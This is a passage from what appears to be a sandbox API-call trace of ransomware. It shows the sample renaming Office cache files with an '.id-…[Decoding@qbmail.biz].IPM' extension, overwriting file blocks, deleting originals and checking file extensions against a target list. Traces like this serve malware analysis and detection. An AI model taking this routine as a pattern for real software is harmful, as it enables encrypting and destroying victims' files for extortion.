dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0073.922] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=9958388) returned 1 [0073.922] CloseHandle (hObject=0x1cc) returned 1 [0073.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0073.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.922] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0073.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0073.923] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0073.924] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.924] ReadFile (in: hFile=0x1cc, lpBuffer=0x3a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a70058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.654] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.657] ReadFile (in: hFile=0x1cc, lpBuffer=0x3ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ab0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.671] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0074.671] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.671] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3af0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.046] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.046] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x302fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0076.276] SetEndOfFile (hFile=0x1cc) returned 1 [0076.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fb4018 [0076.354] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.354] WriteFile (in: hFile=0x1cc, lpBuffer=0x3fb4018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb4018*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.358] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.358] WriteFile (in: hFile=0x1cc, lpBuffer=0x3fb4018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb4018*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.365] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.366] WriteFile (in: hFile=0x1cc, lpBuffer=0x3fb4018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb4018*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fb4018 | out: hHeap=0x5d0000) returned 1 [0076.375] CloseHandle (hObject=0x1cc) returned 1 [0081.926] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0081.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.926] lstrlenW (lpString=".doc") returned 4 [0081.926] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0081.926] lstrlenW (lpString=".docx") returned 5 [0081.927] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0081.927] lstrlenW (lpString=".pdf") returned 4 [0081.927] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0081.927] lstrlenW (lpString=".xls") returned 4 [0081.927] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0081.927] lstrlenW (lpString=".xlsx") returned 5 [0081.927] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0081.927] lstrlenW (lpString=".ppt") returned 4 [0081.927] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0081.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.927] lstrlenW (lpString=".zip") returned 4 [0081.927] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0081.927] lstrlenW (lpString=".rar") returned 4 [0081.927] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0081.927] lstrlenW (lpString=".bz2") returned 4 [0081.927] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0081.927] lstrlenW (lpString=".7z") returned 3 [0081.928] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0081.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.928] lstrlenW (lpString=".dbf") returned 4 [0081.928] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0081.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.928] lstrlenW (lpString=".1cd") returned 4 [0081.928] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0081.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.928] lstrlenW (lpString=".jpg") returned 4 [0081.928] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0081.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.928] lstrlenW (lpString=".doc") returned 4 [0081.928] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0081.928] lstrlenW (lpString=".docx") returned 5 [0081.928] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0081.928] lstrlenW (lpString=".pdf") returned 4 [0081.929] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0081.929] lstrlenW (lpString=".xls") returned 4 [0081.929] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0081.929] lstrlenW (lpString=".xlsx") returned 5 [0081.929] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0081.929] lstrlenW (lpString=".ppt") returned 4 [0081.929] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0081.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.929] lstrlenW (lpString=".zip") returned 4 [0081.929] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0081.929] lstrlenW (lpString=".rar") returned 4 [0081.929] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0081.929] lstrlenW (lpString=".bz2") returned 4 [0081.929] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0081.929] lstrlenW (lpString=".7z") returned 3 [0081.929] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0081.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.929] lstrlenW (lpString=".dbf") returned 4 [0081.930] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0081.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.930] lstrlenW (lpString=".1cd") returned 4 [0081.930] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0081.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0081.930] lstrlenW (lpString=".jpg") returned 4 [0081.930] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0081.930] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0081.931] lstrlenW (lpString="Proof.cab") returned 9 [0081.931] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0081.932] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=11482605) returned 1 [0081.932] CloseHandle (hObject=0x1cc) returned 1 [0081.932] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0081.932] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0081.932] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0082.739] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0082.739] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0082.739] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0082.739] ReadFile (in: hFile=0x1cc, lpBuffer=0x3a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a70058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0082.893] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0082.897] ReadFile (in: hFile=0x1cc, lpBuffer=0x3ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ab0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0082.908] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0082.908] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0082.908] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3af0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.302] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.302] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x302fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0083.333] SetEndOfFile (hFile=0x1cc) returned 1 [0083.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f13fe0 [0083.644] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0083.644] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f13fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13fe0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0083.723] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0083.724] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f13fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13fe0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0083.729] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0083.729] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f13fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13fe0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0083.732] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f13fe0 | out: hHeap=0x5d0000) returned 1 [0083.916] CloseHandle (hObject=0x1cc) returned 1 [0089.439] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0089.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.439] lstrlenW (lpString=".doc") returned 4 [0089.439] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0089.439] lstrlenW (lpString=".docx") returned 5 [0089.440] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0089.440] lstrlenW (lpString=".pdf") returned 4 [0089.440] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0089.440] lstrlenW (lpString=".xls") returned 4 [0089.440] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0089.440] lstrlenW (lpString=".xlsx") returned 5 [0089.440] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0089.440] lstrlenW (lpString=".ppt") returned 4 [0089.440] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0089.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.440] lstrlenW (lpString=".zip") returned 4 [0089.440] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0089.440] lstrlenW (lpString=".rar") returned 4 [0089.440] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0089.440] lstrlenW (lpString=".bz2") returned 4 [0089.440] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0089.440] lstrlenW (lpString=".7z") returned 3 [0089.440] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0089.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.440] lstrlenW (lpString=".dbf") returned 4 [0089.440] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0089.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.441] lstrlenW (lpString=".1cd") returned 4 [0089.441] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0089.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.441] lstrlenW (lpString=".jpg") returned 4 [0089.441] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0089.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.441] lstrlenW (lpString=".doc") returned 4 [0089.441] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0089.441] lstrlenW (lpString=".docx") returned 5 [0089.441] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0089.441] lstrlenW (lpString=".pdf") returned 4 [0089.441] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0089.441] lstrlenW (lpString=".xls") returned 4 [0089.441] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0089.441] lstrlenW (lpString=".xlsx") returned 5 [0089.441] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0089.442] lstrlenW (lpString=".ppt") returned 4 [0089.442] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0089.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.442] lstrlenW (lpString=".zip") returned 4 [0089.442] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0089.442] lstrlenW (lpString=".rar") returned 4 [0089.442] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0089.442] lstrlenW (lpString=".bz2") returned 4 [0089.442] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0089.442] lstrlenW (lpString=".7z") returned 3 [0089.442] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0089.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.442] lstrlenW (lpString=".dbf") returned 4 [0089.442] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0089.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.442] lstrlenW (lpString=".1cd") returned 4 [0089.442] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0089.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0089.443] lstrlenW (lpString=".jpg") returned 4 [0089.443] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0089.443] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0089.443] lstrlenW (lpString="Proofing.msi") returned 12 [0089.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0089.444] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=868864) returned 1 [0089.444] CloseHandle (hObject=0x1c8) returned 1 [0089.444] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0089.444] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0089.444] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0089.444] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.444] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.445] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0089.873] GetLastError () returned 0x0 [0089.873] ReadFile (in: hFile=0x1c8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x302fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0090.335] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x302fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0090.844] ReadFile (in: hFile=0x1c8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.844] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.844] SetEndOfFile (hFile=0x1cc) returned 1 [0090.845] CloseHandle (hObject=0x1cc) returned 1 [0090.861] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.861] SetEndOfFile (hFile=0x1c8) returned 1 [0091.111] CloseHandle (hObject=0x1c8) returned 1 [0091.111] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0091.111] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0091.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.112] lstrlenW (lpString=".doc") returned 4 [0091.112] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.112] lstrlenW (lpString=".docx") returned 5 [0091.112] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0091.112] lstrlenW (lpString=".pdf") returned 4 [0091.112] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.112] lstrlenW (lpString=".xls") returned 4 [0091.112] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.112] lstrlenW (lpString=".xlsx") returned 5 [0091.112] lstrcmpiW (lpString1=".xlsx", 